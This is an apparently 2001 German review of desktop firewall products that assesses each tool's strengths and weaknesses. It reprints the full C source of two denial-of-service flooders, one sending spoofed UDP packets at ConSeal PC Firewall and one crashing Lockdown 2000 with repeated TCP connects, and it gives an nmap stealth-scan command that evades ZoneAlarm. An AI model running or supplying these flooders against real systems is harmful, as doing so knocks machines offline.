| Einführung
Die Gefahr, beim Durchforsten des Internets
auf Viren oder korrupten Programmcode zu stossen, egal ob nun in Form eines
ActiveX-Elements oder eines Java-Applets, wächst mit der Bedeutung
des Internets. Für eine professionelle Lösung muss relativ tief
in die Tasche gegriffen werden, um das eigene Netzwerk vor solchen Gefahren
hermetisch abzuriegeln. Daher werden auf Software-Ebene sogenannte Desktop-Firewalls
realisiert, welche vorzugsweise Windows-Systeme von Normalanwendern vor
Gefahren aus dem Internet bewahren sollen.
Leider ist es so, dass viele auf dem Markt
erhältliche Systeme nicht die Anforderungen erfüllen können,
die eigentlich an das Objekt in Extremsituationen gestellt werden. Auch
die Performance auf dem System nimmt rapide ab, obwohl dies heutzutage
bei der eingesetzten Hardware, auch im privaten Bereich, nicht mehr so
als negativ ausschlaggebend eingestuft werden muss. Die grösste Angriffsfläche
bietet jedoch in den wenigsten Fällen die Private-Firewall selbst,
sondern das Betriebssystem, auf dem sie aufsetzt.
Trotzdem gilt es für Vielsurfer und
im Firmennetz als Muss, stets mit on-the-fly Anti-Viren-Software und Destop-Firewall
in die Weiten des Internets vorzudringen, da dadurch wenigstens sämtliche
TCP/IP-Pakete kontrolliert werden können, die den Rechner erreichen.
Auch fungieren einige Desktop-Firewalls automatisch als Viren-Scanner,
denn sie überprüfen automatisch das Verhalten von ActiveX- und
Java-Elementen, die lokale Daten löschen oder auf dem eigenen Rechner
unbemerkt im Hintergrund Daten per FTP an einen entfernten Cracker schickt.
Die Software-Firewall schafft um ihren Zweck zu erfüllen, einen Schutzbereich,
der so eine Art Quarantäne bildet. Dieser Schutzbereich wird Sandbox
genannt, wobei ein Programm, welches innerhalb dieser virtuellen Umgebung
ausgeführt wird, nur sehr begrenzten Zugriff auf Ressourcen des Systems
gewährt bekommt. Zwar ist der Ansatz dieses Sandbox-Systems sehr gut,
doch sind die verschiedenen Umsetzungen noch nicht genug ausgereift, um
einen umfassenden Schutz in dieser Hinsicht zu geben.
Desktop-Firewalls: Stand Februar
2001.
Vorteile von Desktop-Firewalls
-
Niedrige Kosten.
-
Meist für Normal-Anwender zugeschnitten
und daher leicht verständlich.
Nachteile von Desktop-Firewalls
-
Nicht besonders zuverlässig, da schon
alleine das Betriebssystem zu viel Angriffsfläche bietet.
-
Viele Anwender können aufgrund fehlender
TCP/IP-Kentnisse keine korrekten Filter-Regeln setzen und die Protokollierung
auswerten.
-
Performance-Einbussen auf der Workstation.
Black ICE Defender
Black ICE Defender von Network ICE (http://www.netice.com/)
untersucht im Hintergrund alle Datenströme auf Hackversuche oder zerstörerische
und schädliche Inhalte. Um dies ohne allzugrosse Performance-Verluste
zu realisieren, werden leistungsfähige und ausgeklügelte Echtzeit-Scanner
angesetzt. Besonders stark gilt Black ICE Defender in Zusammenarbeit mit
dem NAI-Cybercop-Scanner. Sogar Portscans kann Black ICE Defender verhindern.
Per IP-Filter lässt sich der Zugriff auf bestimmte IP-Adressen ausschliessen.
Attacken protokolliert das Programm mit deren IP- oder DNS-Adresse. Von
der Network-ICE-Website sind jeweils die neuesten Details über Art
und Gefahren von Angriffen abrufbar. Ein markanter Nachteil ist das Feature
des Überprüfens von Mail-Anhängen auf ihre Schädlichkeit.
In verschiedenen Tests wurden Skripte für den Anwender als ungefährlich
eingestuft, die durch eingeblendete Fenster auf dem Desktop den Nutzer
stören. Insgesamt kann Black ICE Defender jedoch in Tests mit ActiveX-
und Java-Elementen überzeugen, aller dings blockt das Tool jedoch
auch erwünschte Zugriffe von Programmen auf die lokale Festplatte.
Dies erweist sich besonders beim Nutzen von Netmeeting als sehr störend,
da aufgrund des Fehlens von Konfigurations-Möglichkeiten diese Rafinesse
auch nicht von Hand einstellen lässt. Stattdessen bietet diese Anwendung
nur verschiedene Sicherheitsstufen zur Auswahl. Dies vereinfacht zwar das
Setup, wobei besonders Neulinge in PC-Umgebung darüber freuen dürften,
lässt aber den Profi zu wenige Optionen, um sich eine angemessene
Umgebung zu schaffen. Für den Einsatz im LAN gibt es die Version Black
ICE Pro, die neben mehr Konfigurations-Komfort ein zentrales Management
und einen Scanner zur Prüfung der Systemsicherheit zur Verfügung
stellt.
Conseal PC Firewall
PC Firewall von Signal 9 (http://www.signal9.com/)
wendet sich an den erfahrerenen Anwender mit relativ viel TCP/IP-Kenntnissen:
Die Oberfläche und die umfangreichen Konfigurations-Möglichkeiten
sind für den Einsteiger absolut nicht geeignet. Es ist der ideale
Ersatz für eine Hardware-Firewall in einem kleinen LAN oder für
Standalone-PCs. Im gegensatz zu Private Desktop aus der gleichen Software-Schmiede
stellt PC Firewall Paket- und Protokoll-Filter zur Verfügung, die
man über Regelsätze frei definieren kann. Es empfielt sich, einen
der vier vordefinierten Regelsätze zu laden, und ihn als Ausgangspunkt
der eigenen Konfiguration zu nutzen. Ausgehend von diesen Regeln lassen
sich bestimmte Protokolle, Ports, IP-Adressen oder Services gezielt blocken
oder freischalten und Regeln für einzelne Applikationen verwalten.
Nur wenn eine Regel explizit das Nutzen eines bestimmten Dienstes zulässt,
können Daten ungehindert auf jenem Pfade die Firewall passieren. Stösst
die Software während einer Sitzung auf eine Kommunikation, die gegen
eine bestimmte Regel verstösst, erscheint auf dem Bildschirm des Anwenders
eine Dialog-Box, die ihn um Erlaubnis fragt, ob diese Verbindung geblockt
werden, oder temporär freigegeben werden soll. Eine Sandbox fehlt
leider, und diverse korrupte ActiveX- und Java-Elemente werden von Conseal
PC Firewall nicht korrekt ausgefiltert. Auch die Reporting-Funktion bietet
nicht ganz das, was man sich erhofft.
Folgend wird nun eine einfach "Denial of
Service"-Attacke gegen die ConSeal PC Firewall von Signal9 demonstriert.
Dieser Angriff verhält sich nur bis zu Juni 1998 herausgegebenen Version
1.2 erfolgreich. Signal9 wurde über das Problem informiert, und sie
behoben es in den darauf folgenden Versionen. Da viele Warez-Sammler sich
illegal mit den älteren Versionen herumschlagen, sind doch einige
Systeme von dieser Attacke betroffen. Es ist eine relativ primitive Flooding-Attacke
auf verschiedene Ports, die das Ziel-System einfrieren lassen kann. Wird
die Attacke nach dem Freeze-Erfolg
weiter ausgeführt, kann sogar ein
Neustart nach rund 30 Sekunden remote erzeugt werden.
/* Saihyousen Attack (*Japanese* Ice Breaker), By Noc-Wage (M.C.S.R)
* Base code from arnudp.c but HEAVILY modified. Originally written
* sometime early April 1998, I'm a little fuzzy as to the date.
*
* I take no responsibility for the actions of any script kiddies
who
* think that running this against some one is a fun way to pass
away
* their useless lives. I also in NO WAY claim to be good
at
* programming, so modify it all you want, just leave credit to
me
* and PLEASE send me a copy of your modified code.
*
* I chose ice breaker because the night before writing this program
* I read through all of William Gibson's Neuromancer while cradling
* an empty bottle of Canadian Club and sick with the flu.
*
* HOW IT WORKS:
* The way this program kills the machine happens in 2 ways
* #1 If Conseal is set for "learning" mode the flooding packets
from
* all the different IPs and ports will cause the program to continously
* attempt to write more and more new rules. This eventually
uses up
* all the resources and results in a freeze and eventually a reboot.
* #2 If ConSeal is set to log attacks, once again because of the
number
* of packets the system resources are eaten up and the machine
dies.
*
* I tested dx2/66 running RedHat 4.0 (12 megs of ram)
* as the attacker and a Pentium 233 (64 megs of ram)
* as the victim. Using ConSeal The pentium 233 froze after
about 5
* seconds of attack. (This is on an ethernet, but I had done live
testing
* over ppp connection (33.6/28.8) and it took only few more
seconds.
* Because the packets are so small a 28.8 dial-up would not get
lag at
* all, 14.4 would get minor after about 20,000 packets. So
send as many
* as you want, generally 40,000 will kill anything.
*
* Shouts: My foolish friend who's addicted to ICQ: Essence
* #Snickers especially humble(horizon), colonwq,
n`tropy, sheenie, sygma!
* Howdy to fellow
Miltonians Acid_Red (Mully and Tom)
* #hackers, `Lo SUidRoot, iCBM, drsmoke,
EPiC, trix, modred, halt
* And all the rest!
* Don't we all miss TRON?
* Nullifier, my cousin (Hey Al H***)
*/
/* Should compile on all linux, not too sure about BSD, if you modify
it
to make
* it better in some way please mail it too me, I'd be interested
in
seeing it. */
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in_systm.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/udp.h>
#include<errno.h>
#include<strings.h>
#include<netdb.h>
#include <stdlib.h>
#include<stdio.h>
#ifdef BROKEN_LIBC
#include <arpa/inet.h>
#else
#define u_char unsigned char
#define u_short unsigned short
#endif
struct sockaddr sa;
int main(int argc,char **argv)
{
int fd;
int x=1;
int hosti=192;
int hostii=168;
int hostiii=1;
int meep=0;
int fooport=1;
int numpack=0;
char funhost[15];
struct sockaddr_in *p;
struct hostent *he;
u_char gram[36]=
{
0x45, 0x00, 0x00, 0x26,
0x12, 0x34, 0x00, 0x00,
0xFF, 0x11, 0, 0,
0, 0, 0, 0,
0, 0, 0, 0,
0, 0, 0, 0,
0x00, 0x12, 0x00, 0x00,
'3','1','3','3','7','8','9','0'
};
if(argc!=3)
{
fprintf(stderr,"Saihyousen, by Noc-Wage\n");
fprintf(stderr,"The faster your connection to the internet is (latency
wise, not bandwidth)\n");
fprintf(stderr,"and the lower the CPU speed of the victim
will\nincrease probability of success\n");
fprintf(stderr,"usage: %s victim num_of_packets Ex: saihyousen
127.0.0.1 40000\n",*argv);
exit(1);
};
if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)
{
perror("requires RAW SOCKETS");
exit(1);
};
#ifdef IP_HDRINCL
if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
{
perror("setsockopt IP_HDRINCL");
exit(1);
};
#else
fprintf(stderr,"we don't have IP_HDRINCL :-(\n\n");
#endif
/* The stuff below is so that it's not fully sequential i.e
100.100.100.101, 100.100.100.102 */
for (numpack=0;numpack<=atoi(argv[2]);numpack++) {
if (meep==0) { ++hosti; meep++; }
if (hosti>254) hosti=1;
if (meep==1) { ++hostii; meep++;}
if (hostii>254) hostii=1;
if (meep==2) { ++hostiii; meep=0;}
if (hostiii>254) hostiii=1;
sprintf( funhost, "%i.%i.%i.%i",hosti,hostii,hostiii,hosti);
(he=gethostbyname(funhost));
bcopy(*(he->h_addr_list),(gram+12),4);
if((he=gethostbyname(argv[1]))==NULL)
{
fprintf(stderr,"can't resolve destination hostname\n");
exit(1);
};
bcopy(*(he->h_addr_list),(gram+16),4);
fooport++;
/* resets the port to 1 if it's nearing the end of possible values
*/
if (fooport>65530) {fooport=1;};
*(u_short*)(gram+20)=htons((u_short)fooport);
*(u_short*)(gram+22)=htons((u_short)fooport);
p=(struct sockaddr_in*)&sa;
p->sin_family=AF_INET;
bcopy(*(he->h_addr_list),&(p->sin_addr),sizeof(struct in_addr));
if((sendto(fd,&gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct
sockaddr)))== -1)
{
perror("sendto");
exit(1);
};
/* printf("Packet # %i\n", numpack); */
/* Turn that on to see where you are.. it'll slow the attack though
*/
};
printf("Attack against %s finished", argv[1]);
putchar('\n');
return 1;
}
/* How to protect yourself?
* Well it's fairly simple, disable learning and logging mode.
* Signal9 has been made aware of this problem LONG before I decided
* to release it, so people who actually paid for it and keep their
copy
* updated should have no problems. Those of you out there
who used
* a crack or a key generator are probably the type that sit on
IRC
* warez channels all day. As we all know IRC is a very dangerous
* place for warez pups so I guess you aren't as protected as you
may
* think.
*
* www.signal9.com you can download and upgrade the exsisting
* copy that you own.
* Don't come crying to me if your pirated copy of a rather inexpensive
* piece of software blows up in your face.
*/
Conseal Private Desktop 2.04
Diese Software-Lösung ist sehr einfach
zu verwalten, und sie eignet sich daher ausgezeichnet für Anfänger
und Einsteiger, nicht aber für Profis im LAN. Das Tool ist gleich
wie Secure Desktop konzipiert, denn es blockt per Filter die definierten
Daten zwischen PC und Netzwerk/Internet ab. Mitgeliefert werden einige
vordefinierte Filter, die jedoch nicht in jedem Falle effizient Nutzbar
sind, da oft wichtige Ressourcen und IP-Protokolle damit geblockt werden,
von denen eigentlich keine Gefahr ausgeht. Auch einige Tests mit Netmeeting
besteht das Tool nicht, und wirklt wie eine Handbremse. Läuft PGP,
erzeugt es unter Windows 98 den gefürchteten Bluescreen. Meine tests
haben gezeigt, dass diese Dektop-Firewall den kompletten Host vor dem Netzwerk
versteckt: Selbst über IP-Adresse und Port ist kein direkter Zugriff
mehr möglich. Das schlimme ist jedoch, dass sich weder in den Einstellungen
gewisse Ressourcen fürs Netz freigeben lassen, noch bestimmte Ports
geöffnet werden können. Es können jedoch Anwendungen definiert
werden, die uneingeschränkt ins Netz kommunizieren dürfen. Steht
eine Anwendung nicht auf dieser Liste und möchte trotzem Daten nach
aussen dringen lassen, wird dies unterbrochen und der User um Erlaubnis
gefragt. Cookies und ActiveX wird standartmässig automatisch im Browser
deaktiviert, was einen geringen Schutz bietet, da einige Attacken mit korruptem
Java-Code Erfolg haben können.
E-Safe Protect 2.1
Die Software-Schmiede Aladdin (http://www.esafe.com/)
setzt komplett auf das Sandbox-System, und scannt daher gefährlichen
Content gar nicht erst nach schädlichem Inhalt: Der Browser erhält
aus diesem Grunde nur Lese- und Schreib-Rechte für ein zuvor angegebenes
Verzeichnis. Gefährliche Elemente werden somit nicht geblockt, sondern
deren Schadenausbreitung nur wirksam eingegrenzt. Als besonderes Feature
zu empfehlen ist der integrierte Viren-Scanner für E-Mails. Leider
wurde keine passive Scan-Option für Daten eingebaut, die direkt aus
dem Internet geladen werden: Werden zuvor heruntergeladene ausführbare
Dateien exekutiert, wird E-Safe Protect die gewalt über deren Inhalt
aus den Händen gerissen, und möglicher Schaden kann durch diese
Dektop-Firewall nicht eingegrenzt oder verhindert werden. Jenem Missstand
kann das festlegen von bestimmten Sicherheitszonen Abhilfe schaffen, damit
die Programme nicht einfach als "unbekannte Anwendung" von Aladdins-Firewall
ausgeführt werden, was natürlich mit erhöhtem Aufwand verbunden
ist. Die Standartkonfiguration bietet nahezu keinen Schutz vor möglichen
Attacken. Dank bedienerfreundlichen Oberfläche gestaltet es sich jedoch
auch für ungeübte Anwender als niedrige Hürde, das Tool
den eigenen Bedürfnissen anzupassen. Neben einer kostenlosen Desktop-Version
bietet Aladdin eine Enterprise-Variante mit zentraler Steuerung und Wartung
an, welche mehr Features wie das weitergeben von verdächtigem Inhalt
an E-Safe bietet.
Guard Dog 2.0.5
Die wirklich gelungene Oberfläche
mit ihren ausgeklügelten Menüstrukturen aus dem Hause McAfee
(http://www.mcafee.com/) vermag auf
den ersten Blick einen soliden Eindruck zu gewinnen, tröstet jedoch
nur kurze Zeit über den gesamthaft mangelnden Schutz gegen Angriffe.
Der Setup-Assistent führt Windows-Like durch die Installations-Routine
und fragt dabei nach persönlichen Informationen, wie zum Beispiel
auch die eigene Kreditkarten-Nummer. Leider ist es von Nöten, der
Software solch sensible Daten anzuvertrauen, damit jene den Anwender vor
Missbrauchen schützen kann: Guard Dog fragt danach bei der Übertragung
der eingegebenen Daten nach einem Passwort, um deren unerlaubtes Weiterschicken
und mögliches Ausspionieren durch Cookies zu verhindern. zu unterbinden.
Dateien und ganze Verzeichnisse lassen sich durch dieses Tool per Quarantäne-System
schützen. Zudem lässt sich der Zugriff für bestimmte Files
explizit für einzelne Anwendungen festlegen. Die Konfiguration gestaltet
sich leider etwas aufwändig, könnte dementsprechend einfacher
ausfallen, wobei sie eindeutig nicht mit jener von Secure-4U oder E-Safe
mithalten kann. Sobald eine unathorizierte Anwendung, die den Internetzugang
nutzen möchte, eine Verbindung aufbaut, erscheint eine Meldung, die
den Anwender auf das Bestehen der möglichen Gefahr hinweist. Der relativ
langsame Scanner erkennt leider nicht jeden korrupten Code und schützt
während des Surfens somit recht unkompetent vor gefährlichem
Webinhalt. Der Cookie-Blocker und das leeren des Web-Cache sind relativ
überflüssige Features. Wirksamen Schutz bietet Guard Dog nur
vor Viren und trojanischen Pferden, und zwar nur dank dem integrierten
McAfee-Virenscanner. Er ist in der Lage schnell und zuverlässig E-Mails,
Attachments und Web-Content und ZIP-Files nach möglichen Gefahren
zu durchsuchen. Als Desktop-Firewall an sich lässt Guard Dog einiges
zu wünschen übrig.
Lockdown 2000
Die Funktionen dieses Produkts sind auf
Schutz vor simplen DoS-Angriffen und NETBIOS-Zugriffen beschränkt.
Der Sinn den Zugriff über das NETBIOS-Protokoll anzuzeigen ist anfechtbar,
doch funktioniert dies wenigstens ohne grössere Komplikationen: Ein
schön dargestelltes Protokoll erlaubt eine detaillierte Analyse des
Verhaltens eines potentiellen Eindringlings. Der Performance-Verlust, der
mit der Installation und Nutzen dieser Software in Kauf genommen werden
muss, kann aus meiner Sicht absolut nicht gerechtfertigt werden. Komischerweise
gewinnt Lockdown 2000 (http://www.lockdown2000.com/)
relativ viel an Zuneigung aus den Reihen der etwas unerfahrerenen Endanwender.
Das Programm "Crasher" von Johannes Weitzel
nutzt eine Sicherheitslücke von Lockdown 2000 aus, um die Software-Firewall
abstürzen zu lassen, einen "Blue Screen of Death" zu erzeugen oder
gleich das ganze System zu einem Neustart zu erzwingen. Das Tool funktioniert
laut Aussage des Autors perfekt, solange auf dem Ziel-Rechner Lockdown
2000 aktiviert ist, und keine IP-Sperre aktiviert wurde, da sonst die IP
des Angreifers für 5 Minuten nicht geloggt wird, und somit der Angriff
extrem hinausgezört werden würde.
/*********************************************************************
Author: Johannes Weitzel
Johannes.Weitzel@web.de
http://home.wtal.de/JohannesWeitzel
Date: May the 27th, 2000
Aim: to wrote a short program, which crashes Lockdown2000
Background: I'va read in comp.security.misc <8eq6nt$aqp$1@info.service.rug.nl>
that there is a security hole in the Windows 'firewall'
Lockdown2000. You can crash it, when you connect to a port very often
which is normally used by a trojan horse . This program does this.
please send comments, improvement suggestions etc. to Johannes.Weitzel@web.de
WARNING: This is not a very good code with no error checking etc.
Please mind this!
compiled with 'gcc -o crasher crasher.c'
**********************************************************************/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
//#include <string.h>
void help(void);
void help(void)
{
printf("Error with the arguments!\n\n");
printf("Try it in form of:\n");
printf("crasher IP PORT AMOUNT_OF_FLOODS\n");
printf("Example:\n");
printf("crasher 127.0.0.1 1243 300\n");
exit(1);
}
main(int argc, char **argv)
{
int sockfd;
int i,port;
struct sockaddr_in dest_addr;
int DEST_PORT;
long DEST_IP;
if(argc==4)
{
DEST_PORT = atoi(argv[2]);
printf("Trying flood %s with scans on
Port %s \n",argv[1],argv[2]);
}
else
help();
for(i=1;i<=atoi(argv[3]);i++)
{
printf("Attempt: %d\n",i);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(DEST_PORT);
dest_addr.sin_addr.s_addr = inet_addr(argv[1]);
// 1. Parameter
bzero(&(dest_addr.sin_zero), 8);
connect(sockfd, (struct sockaddr *)&dest_addr,
sizeof(struct sockaddr));
close(sockfd);
}
return(1);
}
Secure-4-U 4.1
Diese Desktop-Firewall von Secure (http://www.sandboxsecurity.com/)
bietet einen umfassenden Rundumschutz vor Hacks und zerstörerischem
Code: Es kombiniert das Sandbox-Verfahren geschickt mit einem effizienten
ActiveX- und Java-Scanner. Wie bei E-Safe sind einzelne Anwendungen in
Sicherheitsbereiche einreichbar und lassen sich mittels Zugriffsrechten
schützen. Im Hintergrund scannt und überwacht das Tool Java-
und ActiveX-Komponente. Leider gelingt es Secure-4-U nicht immer schädlichen
von nützlichem Inhalt zu unterscheiden. Eine totale Überforderung
für das Programm ist ein Angriff mittels Keystroke-Simulation, wobei
dabei Tastatureingaben am Desktop vorgetäuscht werden. Aus diesem
Grunde lassen sich ohne grössere Probleme unerlaubt Word-Dokumente
kopieren oder unerwünschte Tastatur-Eingaben tätigen, die ein
effizientes Arbeiten am Computer unmöglich erscheinen lassen. Auch
sind
kleinere Bugs in der Installationsroutine vorhanden, die jedoch laut der
Aussage des Herstellers in den kommenden Versionen behoben sein sollten.
Zudem arbeiten einige Werkseinstellungen nicht korrekt, was dem Einsteiger
den Umgang nicht sonderlich erleichtern dürfte. Das Fehlen eines IP-Content-Filters
ist ein weiterer nennenswerter Schwachpunkt, wobei jedoch auch das Nennen
des erhöhten Aufwandes für die Konfiguration der Sicherheitsbereiche
als etwas sehr Negatives zu nennen ist: Es kann durchaus vorkommen das
bei Fehlkonfiguration seitens des Anwenders Word oder Corel Draw als unbekannte
Applikation erkannt werden, wodurch ihnen lebenswichtige Zugriffe auf relevante
Daten oder Netzwerk-Ressourcen verwehrt bleibt.
Secure Desktop 1.1
Sybergen (http://www.sybergen.com/),
welche früher unter dem Namen Syshield für das Produzieren und
Vertreiben von Software bekannt war, wartet mit einem fünfstufigen
Sicherheitssystem auf, welches den PC vor Hacks aus dem Internet schützen
soll. Durch umfangreiche Optionen lassen sich jene individuell anpassen,
was jedoch relativ schnell zur Konfigurations-Orgie ausarten kann: Es ist
ziemlich schwer sich selber nicht in den Einstellungsmöglichkeiten
eigener Port- und Protokoll-Filter zu verlieren, wobei gute TCP/IP-Kenntnisse
von unschätzbarem Vorteil sein können. Der unerfahrene Einsteiger
bleibt daher auf die vordefinierten Level beschränkt. Secure Desktop
bietet in etwa den Schutz einer Unix-Firewall und könnte vom Funktionsumfang
eine solche im Notfall ersetzen. Traurigerweise passieren korrupte ActiveX-
und Java-Elemente das Sicherheitssystem, so dass die Schutzwirkung in jener
Hinsicht als mangelhaft einzuschätzen ist. Die Ideologie, die hinter
jeder Fuktion verborgen ist, beschränkt sich auf einen einfachen Port-
und Protokoll-Filter. Der Einsatz eines Sandbox-Verfahren fehlt gänzlich,
ebenso ein Scanner, der Downloads auf mögliche Schadensquellen hin
prüft. Auch überwacht Secure Desktop das Ablaufen im Hintergrund
des Systems während einer Internet-Sitzung nicht. Sybergen bietet
also ein Programm, welches vor Angriffen zu schützen vermag, jedoch
bei aggressiven Web-Content kläglich zu versagen droht. Nur abgehende
Webverbindungen, die nicht vom Anwender selbst initiiert werden, kann die
Software erfolgreich abblocken. Erfreulicherweise lässt sich der Webzugang
bei bestimmten Zeiten blockieren, beispielsweise Nachts oder während
der Bildschirm-Schoner aktiv ist. Anders als E-Safe oder Secure-4-U verlangsamt
Secure Desktop das System kaum, denn ausser Port- und Protokoll-Checks
lasten keine weiteren Anforderungen auf dem eingesetzten System.
Surfin Shield 4.6
Finjan (http://www.finjan.com/)
beglückt den Anwender mit einem Programm, welches LAN-Clients vor
korruptem Programmcode schützen soll. Da das Tool hauptsächlich
für jenen Zweck konzipiert wurde, kann es beim Vergleichstest in dieser
Hinsicht am besten abschneiden. Die Client-Software schützt PCs vor
trojanischen Pferden und gefährlichem ActiveX-Content. Grundlage dafür
ist ein on-the-fly Scanner, der möglichen schädlichen Inhalt
bzw. Anwendungen in Quarantäne ausführen lässt. Diese sogenannte
X-Box isoliert ausführbare Dateien wirksam, egal ob es sich um Website-Applets
oder Download-Dateien handelt. Eine Sandbox im herkömmlichen Sinne,
die Zugriffe auf bestimmte Teile des Systems unterbinden lässt, fehlt
jedoch gänzlich. Management, Konfiguration und Client-Installation
erfolgen per Surfin Shield-Server, und gestalten sich daher in grösseren
Netzen als relativ unkompliziert. Über die Surfin-Konsole verwaltet
der Administrator das Verhalten der Clients und die Scan-Regeln für
die Rechner und User. Es ist natürlich auch eine Installation ohne
Server möglich, wobei in jenem Falle das Loggen und weitere Funktionen
nicht richtig genutzt werden kann, und mögliche Einstellungsmöglichkeiten
verloren gehen. Im LAN-Einsatz kann diese Desktop-Firewall mit gut durchdachtem
zentralen Management überzeugen, wobei das Loggen auch zentral stattfindet.
Surfin Shield bietet online kaum Schutz gegen Angriffe, im Besonderen jene,
die auf Keystroke ausgelegt sind: Angriffe über IP sind relativ einfach
zu fahren.
ZoneAlarm
Diese spezielle Freeware kann gut überzeugen:
Zone-Alarm von Zone-Labs (http://www.zonelabs.com/)
bietet guten und ausgereiften Schutz vor Datenklau, indem es Verbindungen
mit dem Internet zu überwachen pflegt. Man kann auch festlegen, ob
eine Applikation einen Zugriff zum Internet herstellen darf, oder nicht.
Tritt dann einmal der Fall auf, dass ein Programm unerlaubt eine Verbindung
herstellen möchte, muss jene erst vom Anwender durch das Verifizieren
einer Meldung erlaubt werden. Somit ist es für trojanische Pferde
grundsätzlich nicht möglich heikle Daten an einen entfernten
Rechner zu schicken,
ohne dass dies dem Benutzer des Systems bekannt werden
sollte. Angriffe, die auf Keystroke-Simulationen beruhen, erkennt Zone-Alarm
jedoch nicht. Auch enthält das frei erhältliche Tool keinen Viren-Scanner
für Web-Inhalte oder ein Sandbox-System. Die sehr einfach zu bedienende
Software kann somit nicht wirklich einen umfassenden Schutz bieten. Über
das Satatus-Fenster ist jedoch sofort erkennbar, ob online Daten übertragen
werden, wobei ein Emergency-Button im unerlaubten Falle sofort die Verbindung
kappbar macht. Trotzdem muss erwähnt sein, dass oft Alarm ausgeschlagen
wird, obwohl ganz normale Zugriffe stattfinden: Die vermag dem Nutzer auf
die dauer als nervend aufzufallen; doch mit solchen Kinderkrankheiten muss
bei Desktop-Firewalls einfach gerechnet werden.
Andrew Daviel fand heraus, dass die Software-Firewall
"Zone Alam" von zonelabs.com sensible Daten herausrückt, sobald der
[More Info]-Button bei einem Alarm-Ausschlag betätigt wurde. Erscheint
bei einer möglichen Attacke dieses Popup-Fenster, kann der Anwender
durch das Klicken auf den besagten Knopf eine Verbindung mit dem Standart-Webbrowser
zum WWW-Server von Zonelabs herstellen, um mehr Informationen über
die Art und Hintergründe des vermeindlichen Angriffs in Erfahrung
zu bringen. In der (aktuellen) Version 2.0.26 werden folgende Informationen
dabei durch eine HTTP-GET-Anfrage via HTTP-Port 80 an den Zonelabs-Server
geschickt:
-
Source-Adresse und -Port
-
Destination-Adresse und -Port
-
Betriebssystem-Version
-
Firewall-Version
-
Ob der Verbindungsaufbau erfolgreich geblockt
wurde
-
Der aktuelle Status der Desktop-Firewall
Da diese Daten eventuell schon kompromittierte
Systeme (Router, Proxy-Server oder Firewalls) passieren müssen, können
sie oft abgefangen oder in den jeweiligen Log-Files ausgelesen werden.
Als Lösung gelten mittels Disassembler und HEX-Editor die EXE-Datei
von Zone Alarm so zu manipulieren, dass diese Funktion "gefährliche"
automatisch deaktiviert ist. Auch wäre ein lokaler Mirror des Zonelabs-Information-Servers
möglich, um die Daten nicht aus dem lokalen Netz zu lassen.
Die Software-Firewall in der Version 2.1.10
von Zonelabs weist einen markanten Mangel auf: Es werden grundsätzlich
keine Anfragen auf Ports protokolliert, die standartmössig vom Kernel
in Anspruch genommen werden. Somit wird das Port-Scannen einer durch Zone
Alarm geschützten Maschine nicht erkannt, wenn zum Beispiel als Source-Port
UDP 67 gewählt wurde: Die Desktop-Firewall lässt das Paket ohne
weiteres passieren, und informiert keineswegs den User darüber. UDP-Port
67 muss geradezu offen gelassen werden, da dieser Port für DHCP gebraucht
wird. In früheren Version 2.0.26 wurden auch UDP-Pakete vom Source-Port
53 durchgelassen. Um einen solchen verdeckten Scan an einem anderen Rechner
mit nmap durchzuführen, gibt man in der lokalen Kommandozeile von
Linux einfach folgenden Befehl ein: "nmap -g67 -P0 -p130-140 -sU 192.168.0.2".
Die Lösung dieses Problems besteht darin, dass ein Update der Software
installiert werden muss, da bei den neueren Versionen dieser Bug beseitigt
wurde. Die jeweils aktuellste Version von Zone Alarm kann man online unter
http://www.zonelabs.com/download_ZA.htm beziehen. |